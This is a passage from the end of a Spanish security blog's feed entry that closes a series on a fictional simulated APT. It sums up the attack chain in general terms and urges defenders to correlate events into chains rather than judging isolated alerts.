Y en Black Orchard, cada pieza encajó.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRoBEabscQNJ9oURhqlSlGPGHqS76_e3UKWQ59YB-T80Hirb4qKXXfwL2G-RV1Heu3c2rlssEf-qSpkpLZmIDvnGZ24V2g1ZWACnDAM5RkQirK0g2H918pyleLq-tbiCfaoq2Bw9AigkNOmljZwEGFFnSc1QzZfiRhAtTy5hTRlFnacU_CR8OKbrBos8V/s1254/nebula_logo.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1254&quot; data-original-width=&quot;1254&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpRoBEabscQNJ9oURhqlSlGPGHqS76_e3UKWQ59YB-T80Hirb4qKXXfwL2G-RV1Heu3c2rlssEf-qSpkpLZmIDvnGZ24V2g1ZWACnDAM5RkQirK0g2H918pyleLq-tbiCfaoq2Bw9AigkNOmljZwEGFFnSc1QzZfiRhAtTy5hTRlFnacU_CR8OKbrBos8V/s320/nebula_logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Cierre de la serie&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Nebula Jackal no existe. IberLogix Energy tampoco. Pero el patrón es reconocible porque esta construido con elementos que si existen: phishing que aprovecha procesos reales, identidades híbridas, deuda técnica en AD, permisos heredados, backups demasiado confiados, exfiltración camuflada, negociación profesional y monetizaciín distribuida.

La moraleja técnica no es &quot;todo esta perdido&quot;. Es más concreta y más útil:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&quot;Una organización defensiva debe aprender a ver cadenas.&quot;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Un LNK no es sólo un LNK si aparece después de un dominio recién registrado que imita RRHH.
Una tarea programada no es sólo una tarea si nace en un portátil de finanzas después de un beacon raro.
Un login de un usuario de adquisición no es solo soporte si toca backup fuera de su patrón.
Una transferencia nocturna no es sólo backup si el destino es nuevo y el manifiesto no existe.
Una GPO modificada no es solo administración si ocurre tras actividad lateral.

La APT moderna, real o simulada, gana cuando el defensor mira eventos. Pierde cuando el defensor reconstruye historias.&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/3270598728347079786/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-4.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3270598728347079786'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3270598728347079786'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-4.html' title='Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhytty0FnunxfCs_Farr6sH0bgnLk77mUZ2RerT0rrMhRKPrvLxD05X8mTml_OL1eEDbfdMASzoiQ-FLuupkuRNDBG10xyLmv4NN58w28tWxLAm1T_6bukBLs-uJ7vauECBF7asN3a0bWkUDVkiMXBPHOeEeWAGEgelnYDY_lOuewucYGed7R1DaM84v3Pv/s72-w640-h426-c/nebulajackal_panel.png" height="72" width="72"/><thr:total>1</thr:total></entry></feed>